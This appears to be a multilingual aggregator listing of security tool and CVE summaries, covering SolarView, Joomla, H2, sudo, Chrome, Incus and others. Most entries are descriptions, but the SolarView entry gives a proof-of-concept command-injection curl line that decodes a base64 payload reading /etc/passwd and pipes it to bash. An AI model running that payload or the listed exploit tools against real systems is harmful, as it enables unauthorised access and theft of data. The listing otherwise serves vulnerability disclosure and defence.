CVE-2023-23333

요약: SolarView Compact 6.00까지 명령 삽입 취약점이 존재하며, 공격자는 downloader.php를 통해 내부 제한을 우회하여 명령을 실행할 수 있습니다. 공급업체: SolarView Compact 영향을 받는 제품: SolarView Compact 버전: SolarView Compact =ver 6.00 poc: curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep...

CVE-2021-42392-Detect

CVE-2021-42392-Detect 概要 このスクリプトは、指定されたIPリストに対して脆弱なH2サーバーを検出します。H2コンソールのWebページを識別し、アクセス制限の有無を確認できます。 使用方法 IPリストを含むファイルを作成し、ファイル名を「IP.txt」にします。「IP.txt」と「h2-detect.py」を同じディレクトリに配置し、スクリプトを実行します。 ここで「IP.txt」はスクリプトにハードコードされたデフォルトのファイル名ですが、スクリプトは任意のファイル名を入力引数として受け取ることもできます。...

CVE-2023-23752

CVE-2023-23752 Joomla 未授权访问漏洞 CVE-2023-23752 漏洞描述 Joomla是一款开源的内容管理系统（CMS），使用PHP编写，支持MySQL、MSSQL和PostgreSQL等多种数据库系统。访问限制不当导致未经授权访问服务器REST API接口。 受影响版本：Joomla 4.0.0 - 4.2.7 使用帮助 root@kitploit: optional arguments: -h, --help show this help message and exit -u URL, --url URL 指定url地址 -f FILE, --file...

setup-wordpress-with-security-best-practice

보안 모범 사례를 적용한 WordPress 설정 이 문서는 사용자와 상호작용하지 않는 WordPress로 개발된 웹 애플리케이션에 적합한 목적으로 작성되었습니다. 주로 기업 브랜드 페이지, 다양한 정적 뷰, 채용 페이지 및 유사한 사이트를 대상으로 합니다. 오픈 커뮤니티와 같이 사용자가 등록하고 자유롭게 사이트를 사용하는 웹사이트의 경우 이 문서의 일부 항목이 적용되지 않을 수 있습니다. 이 점을 염두에 두고 읽어주시기 바랍니다. 이 문서는 WordPress 보안에 필요한 모든 내용을 포함하지 않습니다. 그러나 이 가이드를...

sandbox-runtime

Anthropic Sandbox Runtime srt A lightweight sandboxing tool for enforcing filesystem and network restrictions on arbitrary processes at the OS level, without requiring a container. srt uses native OS sandboxing primitives sandbox-exec on macOS, bubblewrap on Linux and proxy-based network filterin...

custom-bytecode-analyzer

custom-bytecode-analyzer Java bytecode analyzer customizable via JSON rules. It is a command-line tool that receives a path containing one or more Jar or War files, analyzes them using the provided rules and generates HTML reports with the results. Usage root@kitploit: usage: java -jar cba-cli.ja...

403bypasser

403bypasser Türkçe 403bypasser , hedef sayfalardaki erişim kontrolü kısıtlamalarını aşmak için kullanılan teknikleri otomatikleştirir. Bu araç geliştirilmeye devam edecektir, katkılara açıktır. English 403bypasser automates the techniques used to circumvent access control restrictions on target...

CVE-2023-4631

CVE आईडी : CVE-2023-4631 भेद्यता प्रकार : आईपी पता स्पूफिंग विवरण : वर्डप्रेस के लिए DoLogin Security प्लगइन संस्करण 3.6 तक और इसमें शामिल, आईपी पता स्पूफिंग के प्रति संवेदनशील है। यह इस कारण है कि अनुरोध लॉगिंग और लॉगिन प्रतिबंधों के लिए आईपी पता जानकारी कहाँ से प्राप्त की जा रही है, इस पर...

CVE-2023-23752

CVE-2023-23752 - إعادة إنتاج ثغرة الوصول غير المصرح به في Joomla استخدام السكربت تثبيت مكتبات بايثون pip install -r requirements.txt التحقق من الثغرة python3 CVE-2022-26134check.py -u url -c whoami المسح الجماعي python3 CVE-2023-23752.py -f urlpart.txt الإصدارات المتأثرة 4.0.0 = Joomla = 4.2.7...

CVE-2022-4539

Considerazioni sull'uso: Adattabilità: Puoi facilmente modificare i payload, la logica di generazione degli IP e i proxy per adattarli a diversi scenari o ambienti. Uso etico: Assicurati di avere il permesso esplicito prima di testare qualsiasi sistema con questo codice. Scalabilità: Questo codic...

CVE-2025-32462-Exploit

CVE-2025-32462-Exploit: Matrix-Sudo Escape Escalation dei privilegi tramite spoofing dell'hostname CVE-2025-32462 "Prendi la pillola blu... la storia finisce. Prendi la pillola rossa... ottieni root." Descrizione Questo exploit dimostra una vulnerabilità di escalation dei privilegi in sudo...

pcc

PHP Secure Configuration Checker Check current PHP configuration for potential security flaws. Simply access this file from your webserver or run on CLI. Author This software was written by Ben Fuhrmannek, SektionEins GmbH, in an effort to automate php.ini checks and spend more time on cheerful...

CVE-2026-79276

A flaw was found in Google Chrome's FileSystem component. This improper privilege management vulnerability allows a remote attacker, leveraging social engineering, to bypass system access restrictions. The exploitation occurs when a user interacts with a specially crafted HTML page...

CVE-2026-79225

A flaw was found in chromium-browser. This incorrect authorization vulnerability allows a remote attacker to bypass system access restrictions. The attacker can achieve this by leveraging social engineering techniques through user interface UI interaction...

CVE-2026-78892

A flaw was found in Chromoting in Google Chrome. A local attacker can exploit an incorrect authorization vulnerability by running a local program. This allows the attacker to bypass system access restrictions...

CVE-2026-62940

A flaw was found in Incus, a container and virtual machine manager. During instance migration, security-critical configuration overrides bypass project restrictions, allowing a restricted user to escalate privileges and escape the container to the host. Mitigation No mitigation is needed as Incus...

CVE-2026-48751

A flaw was found in Incus, a container and virtual machine manager. Instance snapshots do not enforce container restriction settings, allowing a user to execute arbitrary commands on the server through lowlevel hooks. Mitigation No mitigation is needed as Incus is not shipped in any Red Hat produ...

Oracle Weblogic - Server-Side Request Forgery

An unspecified vulnerability in the Oracle WebLogic Server component in Oracle Fusion Middleware 10.0.2.0 and 10.3.6.0 allows remote attackers to affect confidentiality via vectors related to WLS - Web Services. id: CVE-2014-4210 info: name: Oracle Weblogic - Server-Side Request Forgery author:...

DEBIAN-CVE-2026-80182

In OpenStack Keystone before 29.0.3, tokens obtained via OAuth1 access token, application credential, or trust-scoped authentication could create new long-lived credentials or authorize new delegations that persist independently of, and outlive, the credential used to obtain them. The delegation...

CVE-2026-79254

Incorrect reference resolution in CustomTabs in Google Chrome on on Android prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. Chromium security severity: Low...